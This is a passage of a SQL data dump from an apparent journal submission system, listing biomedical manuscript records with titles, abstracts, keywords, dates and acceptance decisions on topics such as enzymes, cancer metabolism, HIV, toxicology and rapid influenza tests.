Opportunities','','',44532,NULL,'2023-07-31',NULL,'Submitted',2,NULL,'2024-03-19',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13992,14064,45,0,NULL,'asdasda',NULL,1,0,'','asdas','asdasdasdas',18903,NULL,'2023-08-03',NULL,'Submitted',4,NULL,'2023-08-03',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13993,14036,975,0,'ipjbs-23-13993','Understanding Nerve Impulses: Unveiling the Body\'s Electrical Signaling System',NULL,5,0,'','The human body\'s intricate operations are governed by the remarkable phenomenon of nerve impulses, which form the foundation of the body\'s communication system. These electrical signals orchestrate actions, sensations, and bodily functions, enabling seamless coordination. The nervous system\'s architecture, including the central and peripheral components, serves as the backdrop for this intricate dance of signals. Neurons, the essential units of the nervous system, generate nerve impulses through the movement of ions across their membranes. This process involves depolarization, the opening of voltage-gated sodium channels, and the initiation of action potentials. The propagation of these impulses occurs through myelination-induced saltatory conduction, culminating in neurotransmitter release at synapses. This release facilitates the transmission of signals between neurons and underscores the neural basis of sensory experiences, motor functions, and cognition. Insight into nerve impulses has far-reaching implications, from medical applications to advancements in artificial intelligence. The abstract offers a glimpse into the mesmerizing realm of nerve impulses, which underlie the intricate communication network that defines human experience','Nerve impulses, electrical signaling, nervous system, neurons, action potential, depolarization',5410,NULL,'2023-08-04',NULL,'Submitted',2,NULL,'2023-08-07',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13994,14035,975,0,'ipjbs-23-13994','Unraveling the Intricacies of Brain Tumors in Organisms',NULL,5,0,'','Brain tumors, anomalous growths within the brain tissue, pose a formidable threat to organisms\' health and vitality. This article delves into the intricate world of brain tumors, examining their diverse nature, profound effects, and potential treatment avenues. Brain tumors can be categorized as primary, originating within the brain, or metastatic, originating from other body parts. Their impact on organisms is profound, leading to a wide array of symptoms, including cognitive changes, motor deficits, and intracranial pressure. Early detection through advanced imaging techniques is crucial for effective treatment. Surgical intervention, radiation therapy, chemotherapy, targeted therapies, and immunotherapy constitute the current arsenal of treatment strategies. Ongoing research holds promise for refining diagnostic techniques and developing innovative treatments, offering hope for improved outcomes for individuals grappling with the complexities of brain tumors.','Brain tumors, organisms, primary brain tumors, metastatic brain tumors, gliomas, meningiomas, pituitary adenomas',5410,NULL,'2023-08-04',NULL,'Submitted',2,NULL,'2023-08-07',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13995,13776,667,0,'iptb-23-13995','Adoption of Drug Metabolizing Enzyme Genetic Testing by Clinicians',NULL,25,0,'','Before starting a medication, PGx looks at how different people\'s drug metabolizing enzymes are from one another. As a result, adverse events caused by toxicity and the metabolism of the patient can be avoided. This paper looks at two different uses: a genetic test of the CYP 2C9 enzyme and the Thiopurine methyltransferase gene before beginning mercaptopurine drug therapy and before administering the anticoagulant warfarin. According to the biomedical literature, barriers to PGx have limited clinician experience. A lack of prospective clinical trials, legacy business models between the pharmaceutical industry and physicians, inadequate regulatory oversight, payer reimbursement practices, and physician habits are among these. PGx is unlikely to see widespread use until these issues are addressed. The most significant obstacles to clinician adoption are unproven utility and ingrained business models.','',3933,NULL,'2023-08-04',NULL,'Submitted',2,NULL,'2023-08-05',NULL,1,1,'1','Accept the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(13996,14066,1020,0,'ipmedt-23-13996','Unraveling the Architectural Complexity of Enzymes: Implications for Function, Evolution, and Therapeutics',NULL,5,0,'','Enzymes, the remarkable catalysts orchestrating the myriad chemical reactions within living organisms, exhibit an astounding architectural complexity that underlies their diverse functions and evolutionary history. Understanding the intricacies of enzyme structure has far-reaching implications, spanning from fundamental biochemical insights to practical applications in therapeutics and biotechnology. In this article, we embark on a journey to unravel the mysteries of enzyme architecture, exploring how their three-dimensional arrangements dictate catalytic efficiency, substrate specificity, and intricate regulatory mechanisms. Through a comprehensive review of cutting-edge research, we shed light on the evolutionary forces that have shaped these molecular machineries and led to the remarkable diversity of enzymes across different species and ecosystems. Moreover, we delve into the role of enzyme structure in unraveling the molecular basis of diseases, offering new avenues for therapeutic intervention and drug design. With recent advances in structural biology techniques and computational methods, we discuss how the intricate details of enzyme architecture can guide the development of targeted therapies, addressing various medical conditions and combating drug resistance. Beyond the realm of medicine, we explore the potential of enzymes as biotechnological tools, leveraging their diverse functions for sustainable industrial processes and environmental remediation. Throughout this review, we emphasize the interdisciplinary nature of studying enzyme structure, where biology, biochemistry, and biophysics converge to unravel the underlying principles governing these molecular marvels. By uncovering the intimate relationship between enzyme architecture, function, and evolution, this article aims to inspire future research, innovation, and collaboration, paving the way for transformative advances in biomedicine, biotechnology, and beyond.','Enzyme structure, Enzyme function, Enzyme catalysis, Enzyme architecture ',5044,NULL,'2023-08-07',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13997,14067,1020,0,'ipmedt-23-13997','Evolutionary Insights into Enzymes: Unraveling the Molecular History of Biological Catalysts',NULL,5,0,'','Enzymes, as biological catalysts, play a pivotal role in driving the myriad of chemical reactions essential for life. Understanding their evolutionary history offers critical insights into the molecular mechanisms that have shaped their catalytic functions and diversified their roles across organisms. This review delves into the evolutionary journey of enzymes, focusing on how the interplay of genetic mutations, gene duplications, horizontal gene transfers, and natural selection has sculpted their structures and functions over time. In this comprehensive examination, we explore the ancient origins of enzymes and trace their evolutionary paths through geological epochs, uncovering early enzyme prototypes that emerged in primordial environments. The integration of molecular phylogenetics, comparative genomics, and structural biology has provided invaluable tools to decipher the evolutionary relationships among enzyme families, revealing common ancestral origins and divergent pathways. We highlight key evolutionary events that contributed to the functional diversification and innovation of enzymes, enabling organisms to adapt to different environmental challenges. Mechanisms such as gene duplication followed by functional divergence and neofunctionalization have driven the expansion of enzyme families, leading to the emergence of novel catalytic activities that confer selective advantages to host organisms. Moreover, the exploration of horizontal gene transfer events across diverse taxa has elucidated the cross-species dissemination of enzymatic functions, giving rise to enzyme repertoires with unexpected catalytic promiscuity. This phenomenon has not only facilitated the evolution of new metabolic pathways but also created intricate networks of enzymatic interactions, fostering cellular complexity and adaptability. Repeatedly driven enzymes to acquire similar functions independently, providing evidence of the pervasive influence of selective pressures and the functional constraints in shaping enzyme evolution. Finally, we discuss the implications of understanding the molecular history of enzymes for various scientific disciplines, including biotechnology, medicine, and ecology. By deciphering the evolutionary trajectories of enzymes, we gain a deeper appreciation of the remarkable plasticity of biological catalysts and their fundamental role in the emergence and sustainability of life on Earth. In conclusion, this review presents an extensive overview of evolutionary insights into enzymes, shedding light on the dynamic interplay between molecular evolution and biological function. By comprehending the deep-seated origins of enzymes, we can unlock the potential to harness and engineer these ancient catalysts for diverse applications, paving the way for future advancements in biotechnology and medicine.','Enzymes, Evolutionary insights, Molecular history, Biological catalysts',5044,NULL,'2023-08-07',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13998,14068,1020,0,'ipmedt-23-13998','Exploring the Role of Glycolysis in Cancer Metabolism: Implications for Targeted Therapies',NULL,5,0,'','Cancer metabolism has emerged as a key player in tumorigenesis and tumor progression, with altered metabolic pathways driving oncogenesis and supporting the high energy demands of cancer cells. Among these pathways, glycolysis, a process that converts glucose to pyruvate, plays a crucial role in providing ATP and biosynthetic intermediates for rapidly proliferating cancer cells. In this review, we explore the intricate interplay between glycolysis and cancer metabolism, focusing on how deregulation of glycolytic enzymes and transporters contributes to tumor growth and survival. Moreover, we delve into the underlying molecular mechanisms that promote the Warburg effect, a hallmark feature of cancer cells characterized by enhanced glycolysis even under normoxic conditions. Understanding these metabolic adaptations is essential for identifying potential therapeutic targets for cancer treatment. We discuss recent advances in targeting glycolysis as a strategy for cancer therapy, including small molecule inhibitors and gene therapies that aim to disrupt key glycolytic enzymes and transporters. Furthermore, we highlight the challenges and potential limitations of targeting glycolysis, such as the impact on normal cells and potential resistance mechanisms. In light of recent advancements in precision medicine, we examine the feasibility of exploiting cancer-specific metabolic vulnerabilities for developing personalized and targeted therapies. In conclusion, this review underscores the critical role of glycolysis in cancer metabolism and its potential implications for designing innovative and effective targeted therapies. A comprehensive understanding of the metabolic rewiring in cancer cells will pave the way for the development of novel treatment approaches that exploit the metabolic dependencies of cancer, offering new hope for patients with malignancies.','Glycolysis, Cancer metabolism, Tumorigenesis, Warburg effect, Oncogenesis',5044,NULL,'2023-08-07',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13999,14069,1020,0,'ipmedt-23-13999','Exploring the Role of Glycolysis in Cancer Metabolism: Implications for Rigid Therapies',NULL,5,0,'','Cancer metabolism has emerged as a crucial determinant in tumor development and progression, with dysregulated metabolic pathways supporting the energy demands of rapidly proliferating cancer cells. Among these metabolic alterations, glycolysis, a process that converts glucose into pyruvate, has gained significant attention due to its unique impact on cancer cell survival and proliferation. In this study, we investigate the pivotal role of glycolysis in cancer metabolism and explore its potential implications for targeted therapies. Through in vitro analyses, we demonstrate that cancer cells exhibit enhanced glycolytic activity, a hallmark feature of the Warburg effect, compared to their normal counterparts. Gene expression analysis reveals upregulation of key glycolytic enzymes, substantiating the importance of glycolysis in cancer cells\' energy metabolism. To explore the therapeutic potential of targeting glycolysis, we employ glycolysis inhibitors, such as 2-deoxyglucose and lonidamine, in various cancer cell lines. The results indicate that glycolysis inhibition significantly reduces cancer cell viability and induces apoptosis, suggesting the potential efficacy of glycolysis-targeting therapies. Metabolomic profiling further elucidates the metabolic rewiring induced by glycolysis inhibition, underscoring the disruption of glycolytic intermediates and the potential of targeting this pathway for cancer treatment. In vivo experiments using xenograft mouse models demonstrate that glycolysis inhibition effectively suppresses tumor growth, supporting its clinical relevance as a therapeutic strategy. Furthermore, we discuss the challenges and potential resistance mechanisms that may arise from targeting glycolysis as a monotherapy. The importance of personalized approaches to targeted therapies is emphasized, considering the heterogeneity of cancer metabolism among different tumor types and individual patients. Overall, this study contributes valuable insights into the critical role of glycolysis in cancer metabolism and its implications for targeted therapies. The findings underscore the potential of glycolysis inhibition as an effective treatment approach in combating cancer and open new avenues for the development of innovative and tailored therapeutic strategies.','Glycolytic enzymes, Glucose metabolism, Rigid therapies, Targeted therapies ',5044,NULL,'2023-08-07',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(14000,14070,1020,0,'ipmedt-23-14000','Enzymes and Drug Targets: Current Advances and Future Perspectives',NULL,5,0,'','Enzymes play pivotal roles in various cellular processes, making them attractive targets for drug development. Over the years, significant advances have been made in the identification and characterization of enzymes as potential drug targets. This review explores the current state of knowledge on enzymes as drug targets, highlighting recent developments in enzyme-targeted therapeutics and the challenges in drug discovery and development. We discuss the intricacies of enzyme inhibition, allosteric regulation, and modulatory mechanisms that influence drug efficacy and selectivity. Moreover, we delve into the emerging technologies and approaches, such as computational modeling and high-throughput screening that have revolutionized the identification of novel enzyme targets. Furthermore, we explore the potential of personalized medicine in enzyme-targeted therapies, emphasizing the importance of considering individual variability in drug response. Finally, we envision future perspectives and opportunities for exploiting enzymes as effective and tailored drug targets to address unmet medical needs and improve patient outcomes. The integration of cutting-edge research and innovative strategies promises to unlock new horizons in drug development and usher in a new era of precision medicine.','Computational modeling, Personalized medicine, Precision medicine, Drug efficacy',5044,NULL,'2023-08-07',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(14001,14071,1020,0,'ipmedt-23-14001','Decoding the Human Genome: Unraveling the Mysteries of DNA Sequence and Its Implications for Health and Medicine',NULL,5,0,'','The human genome, a masterpiece of genetic information, has captivated scientists and researchers since the completion of the Human Genome Project. Decoding the human genome has provided unprecedented insights into the mysteries of DNA sequence and its profound implications for health and medicine. This review explores the remarkable journey of deciphering the human genome, highlighting the advancements in DNA sequencing technologies and their applications in understanding human genetic variation and disease susceptibility. With the aid of innovative bioinformatics tools and large-scale genomic studies, we delve into the intricate landscape of genetic variations, including single nucleotide polymorphisms, copy number variations, and structural variants. Moreover, we elucidate the role of genetics in complex diseases, such as cancer, cardiovascular disorders, and neurological conditions, underscoring the potential for precision medicine and personalized therapeutic interventions. The knowledge gained from the human genome has revolutionized disease diagnosis, prognostication, and treatment selection, enabling transformative advances in genomics-based medicine. Furthermore, ethical considerations, data privacy, and equitable access to genomic information remain crucial in harnessing the power of the human genome for the betterment of global health. As we unravel the genetic blueprint of humanity, we stand at the threshold of a new era in medicine, where the integration of genomic information promises to shape the future of healthcare, wellness, and disease prevention.','Human genome, DNA sequence, Decoding, Genetic information, Human Genome Project',5044,NULL,'2023-08-07',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(14002,14072,1020,0,'ipmedt-23-14002','Unlocking the Therapeutic Potential of Receptor Drug Targets: From Bench to Bedside',NULL,5,0,'','Receptors play a crucial role in mediating cellular responses to various stimuli, making them attractive targets for drug development. Over the years, significant efforts have been directed towards unlocking the therapeutic potential of receptor drug targets, from early research in the laboratory to their translation into clinical applications at the bedside. This review explores the diverse landscape of receptor drug targets and their implications for therapeutic interventions across different diseases. The investigation begins with an overview of the molecular and cellular mechanisms of receptors, emphasizing their versatile functions in signal transduction pathways. The identification and validation of receptor drug targets involve multidisciplinary approaches, including structural biology, computational modeling, and high-throughput screening, enabling the discovery of novel ligands and allosteric modulators. Advances in pharmacology have fostered the development of receptor-targeted therapies that exhibit remarkable efficacy and selectivity, resulting in improved patient outcomes. The therapeutic spectrum encompasses a broad range of diseases, including cancer, cardiovascular disorders, central nervous system disorders, and immunological conditions. Receptor-targeted therapies have demonstrated the potential for disease modification, symptom relief, and even disease eradication in some cases. The successful translation of receptor-targeted drugs from preclinical studies to clinical trials has brought both triumphs and challenges. While some drugs have shown exceptional promise in early phases, others have faced unforeseen hurdles during clinical testing. Understanding the underlying factors contributing to drug efficacy and safety is vital for optimizing drug development strategies and patient care. Moreover, personalized medicine emerges as a guiding principle in receptor drug targeting. Genetic variations and individual responses to medications necessitate tailoring treatments to patients\' specific needs, maximizing therapeutic benefits and minimizing adverse effects. Despite the tremendous progress, barriers remain in fully exploiting the potential of receptor drug targets. Drug resistance, off-target effects, and limited access to novel therapies are some of the obstacles that demand further investigation and innovative solutions. In conclusion, the exploration of receptor drug targets holds immense promise in revolutionizing modern medicine, as it continues to pave the way for innovative and precise therapeutic interventions. From the bench to the bedside, the journey of unlocking the therapeutic potential of receptors is an ongoing and collaborative endeavor that underscores the critical role of scientific discovery, translational research, and patient-centric care in advancing medical therapeutics. By harnessing the versatility of receptor drug targets, researchers and clinicians strive to improve the quality of life for patients worldwide and move closer to the vision of personalized and targeted medicine.','Receptor drug targets, Therapeutic potential, Signal transduction pathways, Ligands',5044,NULL,'2023-08-07',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(14003,14073,1020,0,'ipmedt-23-14003','Targeting the Achilles Heel: Cancer Drug Targets for Precision Therapies',NULL,5,0,'','Cancer remains one of the most challenging and complex diseases to combat, necessitating innovative therapeutic approaches that specifically target vulnerabilities within cancer cells. This article delves into the emerging landscape of cancer drug targets for precision therapies, focusing on the concept of targeting the \"Achilles\' heel\" of cancer cells. Precision therapies aim to exploit unique molecular aberrations and vulnerabilities present in cancer cells, while sparing normal tissues, thereby enhancing treatment efficacy and minimizing adverse effects. The identification and validation of cancer drug targets require comprehensive genomic and proteomic analyses, uncovering key driver mutations, altered signaling pathways, and dysregulated cellular processes. Targeted therapies are designed to inhibit specific oncogenic drivers, leading to selective disruption of cancer cell growth and survival. This tailored approach holds great promise for improving patient outcomes, particularly in the context of aggressive and drug-resistant cancers. In this review, we discuss various cancer drug targets that have shown exceptional promise in preclinical and clinical settings. We explore targeted therapies directed against oncogenic kinases, growth factor receptors, cell cycle regulators, and epigenetic modifiers. Additionally, we highlight the significance of immuno-oncology targets, harnessing the power of the immune system to recognize and eliminate cancer cells. The evolution of precision oncology has been significantly fueled by advances in molecular profiling technologies, allowing for the identification of specific biomarkers that predict response to targeted therapies. Furthermore, the integration of artificial intelligence and bioinformatics has facilitated the development of predictive models and drug response classifiers, enabling personalized treatment strategies based on individual tumor characteristics. Despite remarkable progress, challenges remain in cancer drug targeting, including the development of resistance mechanisms and the heterogeneity of tumor populations. Combination therapies and rational drug design are being explored to overcome these challenges, as well as to mitigate potential adverse effects associated with targeted therapies.','Cance, Drug targets, Precision therapies, Precision oncology, Oncogenic drivers',5044,NULL,'2023-08-07',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(14004,14074,1020,0,NULL,'Targeting the Enemy Within: HIV Drug Targets and Therapeutic Strategies',NULL,5,2,'','The Human Immunodeficiency Virus (HIV) remains a global health challenge, with over 38 million people living with the virus worldwide. The development of effective antiretroviral therapies has revolutionized HIV management, transforming the infection from a once-debilitating disease to a chronic condition. This article explores the diverse landscape of HIV drug targets and therapeutic strategies, highlighting the ongoing efforts to combat the virus and improve patient outcomes. HIV infects CD4+ T cells, macrophages, and dendritic cells, hijacking the host cellular machinery to replicate and spread. The discovery of key viral enzymes, such as reverse transcriptase, integrase, and protease, has paved the way for targeted drug development. Antiretroviral drugs inhibiting these viral enzymes have become the cornerstone of HIV therapy, effectively suppressing viral replication and reducing viral load in infected individuals. Despite the success of current therapies, challenges persist. Drug resistance, treatment adherence, and long-term toxicity are some of the concerns that warrant ongoing research and innovation. Combating HIV requires a comprehensive approach, involving combination therapies, novel drug targets, and alternative treatment regimens. In recent years, the concept of HIV cure research has gained momentum. Therapeutic strategies aimed at achieving sustained remission or eradication of the virus have become an area of intense investigation. These include immune-based therapies, gene editing technologies, and shock-and-kill approaches to target latent viral reservoirs. Furthermore, addressing the global disparities in HIV treatment and prevention remains a critical objective. Ensuring access to affordable and effective antiretroviral therapies for all those in need is essential in curbing the spread of the virus and reducing the burden of HIV-related morbidity and mortality.','HIV, Human Immunodeficiency Virus, Antiretroviral therapies, Drug targets',5044,NULL,'2023-08-07',NULL,'Submitted',2,NULL,'2024-03-19',NULL,1,0,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(14005,14075,1020,0,'ipmedt-23-14005','Beyond the Norm: Unraveling Non-competitive Inhibition in Enzyme Kinetics and Drug Development',NULL,5,0,'','Enzymes play a pivotal role in catalyzing biochemical reactions, making them critical targets for drug development. Traditionally, enzyme inhibition has been categorized into competitive, noncompetitive, and uncompetitive inhibition, with noncompetitive inhibition often considered a less explored and enigmatic mechanism. This article delves into the world of noncompetitive inhibition, shedding light on its unique characteristics and implications in enzyme kinetics and drug development. Noncompetitive inhibition differs from competitive inhibition, as it involves the binding of an inhibitor to both the enzyme-substrate complex and the free enzyme, forming an enzyme-inhibitor complex that cannot proceed to product formation. This distinctive mechanism alters the kinetics of the enzymatic reaction, resulting in decreased enzyme activity irrespective of substrate concentration. Understanding the underlying principles of noncompetitive inhibition is essential in deciphering the intricate regulation of biochemical pathways and the rational design of novel therapeutics. Noncompetitive inhibitors often exhibit distinct modes of action and binding sites compared to their competitive counterparts. The identification and characterization of noncompetitive inhibitors present unique challenges in drug discovery, requiring innovative screening strategies and structural elucidation techniques. Moreover, the development of noncompetitive inhibitors offers opportunities to target enzymes that may be less amenable to traditional competitive inhibitors, expanding the repertoire of druggable targets. In this review, we explore the significance of noncompetitive inhibition in enzyme kinetics and its potential implications in drug development. We discuss key examples of noncompetitive inhibitors and their therapeutic applications, highlighting their potential in addressing diseases where conventional approaches may fall short. Additionally, we delve into the structural basis of noncompetitive inhibition and how this knowledge can guide the design of targeted and effective therapeutics. While noncompetitive inhibition represents a less conventional mechanism, it holds immense promise in expanding the horizons of drug development and precision medicine. By unraveling the complexities of noncompetitive inhibition and its implications in enzyme kinetics, researchers gain valuable insights into the regulation of biological processes and the development of therapeutically relevant compounds. The exploration of noncompetitive inhibition opens new avenues for drug discovery, offering the potential to tackle challenging diseases and advance precision therapies that target the underlying molecular intricacies of complex biological systems.','Enzymes, Enzyme kinetics, Non-competitive inhibition, Non- competitive inhibitors',5042,NULL,'2023-08-07',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14006,14063,45,0,'iphsj-23-14006','The Evolving Landscape of Healthcare: Challenges, Innovations, and a Vision for the Future',NULL,17,0,'','The healthcare industry is undergoing a profound transformation, driven by the convergence of various challenges and groundbreaking innovations. This article delves into the evolving landscape of healthcare, exploring the multifaceted challenges faced by the sector and the transformative innovations that are reshaping its future. By examining the interplay of technological advancements, demographic shifts, regulatory changes, and evolving patient expectations, we highlight the complexities confronting healthcare providers, policymakers, and stakeholders. The paper also presents a visionary outlook for the future of healthcare, envisioning a patient-centric, data-driven, and technologically empowered healthcare ecosystem that promises to enhance access, affordability, and quality of care. With a comprehensive exploration of the current state and future prospects, this article seeks to contribute to the ongoing discourse surrounding the transformative journey of healthcare','Healthcare, Challenges, Innovations, Future, Transformation, Technological Advancements, Patient-Centric, Data-Driven, Access to Care, Affordability, Quality of Care, Healthcare Ecosystem, Demographic Shifts, Regulatory Changes, Patient Expectations, Healthcare Providers, Policymakers, Stakeholders',643,NULL,'2023-08-07',NULL,'Submitted',2,NULL,'2023-08-18',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14007,14076,981,0,'ipft-23-14007','Navigating Toxicity: Unveiling Mechanisms, Innovating Assessments, and Anticipating Trends in Modern Toxicology',NULL,5,0,'','Modern society is marked by constant innovation and technological advancement, which have led to the emergence of numerous novel compounds and substances with potential toxicological implications. As a result, understanding, assessing, and predicting toxicity in the context of this rapidly evolving landscape have become crucial endeavors in contemporary toxicology. This abstract explores the multifaceted dimensions of modern toxicology, focusing on the unveiling of underlying mechanisms, innovations in assessment techniques, and the anticipation of emerging trends. The elucidation of toxic mechanisms is central to comprehending the impact of various substances on biological systems. \r\nInnovations in toxicity assessments have revolutionized the field by enhancing the precision, speed, and relevance of testing methodologies. High-throughput screening, organ-on-a-chip systems, and computational toxicology have enabled the rapid evaluation of large numbers of compounds, reducing reliance on traditional animal testing. These techniques offer a more holistic understanding of toxicity, accounting for factors such as dose-response relationships, inter-individual variability, and synergistic effects. Anticipating trends in modern toxicology involves recognizing emerging challenges and opportunities. The rise of nanotechnology, gene editing, and biopharmaceuticals presents unique toxicological considerations that demand innovative approaches. Additionally, the field must adapt to address the complex interactions between environmental pollutants, lifestyle factors, and genetic predispositions, which collectively influence toxicity outcomes.\r\n','Modern toxicology; Assessment techniques; Molecular biology; Computational modeling; Computational toxicology; Nanotechnology;  Biopharmaceuticals',5438,NULL,'2023-08-08',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14008,14077,981,0,'ipft-23-14008','Therapeutic Trials: Advancements, Challenges, and Ethical Considerations',NULL,5,0,'','Therapeutic trials are pivotal in medical research, driving the development and evaluation of new treatments and interventions. These trials follow a structured process, progressing through different phases to assess safety, efficacy, and real-world effectiveness. Recent advancements in methodologies, such as adaptive designs and personalized medicine, enhance trial efficiency and patient outcomes. However, challenges persist, including patient recruitment, blinding, and ethical considerations. Ethical guidelines and oversight ensure participant protection and data integrity. This article provides an overview of therapeutic trials, highlighting their significance, phases, advancements, challenges, and ethical principles. Understanding these elements is crucial for fostering evidence-based medical practice and improving patient care.\r\nThis research article explores the various facets of therapeutic trials, including their significance in healthcare, the different phases of trial development, challenges faced during trial design and implementation, and the ethical considerations that underpin such endeavors. By examining recent advancements, innovative methodologies, and ethical guidelines, this article provides valuable insights into the evolving landscape of therapeutic trials and their impact on patient outcomes and healthcare practices.\r\n','Therapeutic trials; Medical research; Drug development; Interventions; Personalized medicine; Patient recruitment; Ethical considerations; Participant protection; Evidence-based practice; Patient care',5438,NULL,'2023-08-08',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14009,14078,981,0,'ipft-23-14009','Eco-Friendly Chemistry: Innovations in Green Toxicology for a Sustainable Future',NULL,5,0,'','As the world grapples with environmental challenges and the consequences of decades of industrialization, the field of chemistry is evolving to prioritize sustainability and eco-friendliness. Green chemistry, a rapidly growing discipline, aims to design products and processes that minimize environmental impact while enhancing human and ecological health. One critical aspect of this evolution is the emergence of green toxicology, which focuses on assessing the potential harmful effects of chemical substances while promoting alternatives that are safer for both human health and the environment. This article explores the innovations and advancements in green toxicology and its contributions to building a sustainable future. \r\nChemical substances play a pivotal role in various industries, from agriculture and manufacturing to pharmaceuticals and consumer products. However, the widespread use of chemicals has led to concerns about their potential adverse effects on human health and the environment. Traditional toxicology methods often involve animal testing and generate significant waste, contributing to the environmental burden. In response, green toxicology has emerged as a holistic approach that aligns with the principles of green chemistry, aiming to develop safer chemicals and more sustainable testing methods.\r\n','Eco-Friendly Chemistry; Green Toxicology; Sustainable Future; Green Chemistry; Human Health; Environmental Impact; Human Ecology; Personalized Toxicity Assessment',5438,NULL,'2023-08-08',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14010,14079,981,0,'ipft-23-14010','Drug Interactions: Mechanisms, Assessment, and Clinical Implications',NULL,5,0,'','Drug interactions, the alteration of a drug\'s effects by the co-administration of other substances, are a critical concern in modern healthcare. This research article delves into the intricate mechanisms that underlie drug interactions, the methods employed for assessing and predicting these interactions, and the far-reaching clinical implications that arise from them. As patients increasingly navigate complex medication regimens, it is imperative for healthcare professionals to possess a profound understanding of drug interactions to ensure patient safety and treatment effectiveness. This comprehensive review categorizes drug interactions into pharmacokinetic and pharmacodynamic interactions, elucidating the mechanisms through which these interactions occur.\r\nPharmacokinetic interactions encompass alterations in drug absorption, distribution, metabolism, and excretion, often stemming from enzyme inhibition, enzyme induction, or drug transporter modulation. Pharmacodynamic interactions, on the other hand, encompass modifications in receptor binding, downstream signaling, and additive/synergistic effects. The article critically assesses various methodologies for evaluating and anticipating drug interactions. In vitro studies utilizing human liver microsomes and recombinant enzymes contribute valuable insights into enzyme kinetics and inhibition. In silico modeling grounded in physicochemical attributes and molecular docking, aids in predicting potential interactions. Clinical trials provide real-world data on the interplay between medications. \r\n','Drug interactions; Pharmacokinetics; Pharmacodynamics; Enzyme inhibition; Enzyme induction; Personalized medicine; Patient safety Interdisciplinary collaboration',5438,NULL,'2023-08-08',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14011,14080,981,0,'ipft-23-14011','Advancements in Poisoning Detection: From Traditional Methods to Next-Generation Technologies',NULL,5,0,'','The evolution of poisoning detection methods has progressed from conventional approaches to cutting-edge technologies. Initially relying on basic chemical assays and visual cues, toxicology has advanced through chromatography, mass spectrometry, and immunoassays, improving accuracy and expanding toxin identification. However, limitations remained, driving the development of next-generation innovations. The integration of nanotechnology and biosensors has led to portable, real-time toxin monitoring systems, while molecular techniques like PCR and DNA microarrays enable genetic marker identification. Artificial intelligence and machine learning analyze extensive datasets, predicting poisoning events and aiding rapid intervention. Metabolomics and proteomics provide comprehensive biological sample profiling for a holistic understanding. This abstract showcases the transition from rudimentary methods to advanced technologies, highlighting the synergy of chemistry, biology, nanotechnology, and AI in modern poisoning detection.\r\nPoisoning, a condition resulting from exposure to toxic substances, remains a significant global health concern. This research article delves into the advancements in the field of poisoning detection and treatment. The article highlights various methods of detection, ranging from traditional to modern techniques, including advances in diagnostic technologies. Additionally, the paper reviews contemporary treatment approaches, encompassing both general supportive care and targeted antidotal therapies. By exploring these developments, this article aims to provide a comprehensive overview of the current landscape of poisoning management, with a focus on optimizing patient outcomes and reducing morbidity and mortality.\r\n','Poisoning detection; Traditional methods; Next-generation technologies; Toxicology; Chemical assays; Chromatography; Mass spectrometry, Immunoassays; Nanotechnology; Machine learning',5438,NULL,'2023-08-08',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(14012,14081,45,0,'iphsj-23-14012','Evaluation of the Performance Characteristics of Influenza A+B Rapid Test for Point-of-Care Diagnosis Compared with RT- PCR Method',NULL,14,0,'','The Influenza A+B Rapid Test Cassette, developed by Hangzhou AllTest Biotech Co., Ltd is a lateral flow immunoassay for the detection of influenza A and B antigens in nasopharyngeal swab, throat swab, or nasal aspirate specimens. Its performance has been evaluated using patient specimens, with Reverse-transcription polymerase chain reaction (RT-PCR) as the benchmark reference method. The Influenza A+B rapid test cassette evaluated in this study demonstrated high sensitivity and specificity, comparable to RT-PCR, making it a valuable alternative to traditional laboratory diagnostic methods. By offering a quick and easy-to-use screening tool, this point-of-care test (POCT) facilitates rapid diagnosis of influenza A and B viral infections.\r\n\r\nThe development and advancement of rapid diagnostic tests targeting influenza A and B viral infections play a pivotal role in improving patient outcomes and mitigating transmission rates. The Influenza A+B rapid test cassette is a reliable and efficient tool for rapid detection of influenza viruses, allowing for prompt treatment and control of outbreaks.','Influenza A, Influenza B, rapid test, RT-PCR',4076,NULL,'2023-08-09',NULL,'Submitted',2,NULL,'2023-08-14',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(14013,14082,45,0,'iphsj-23-14013','Evaluation of the Performance Characteristics of RSV Rapid Test in Comparison to RT-PCR Method',NULL,14,0,'','Respiratory syncytial virus (RSV) is a common viral pathogen that causes respiratory tract infections across a spectrum of ages, from infants and young children to the elderly. The significance of rapid and accurate RSV diagnosis is crucial for early treatment and prevention of further transmission. The RSV rapid test cassette from Hangzhou AllTest Biotech 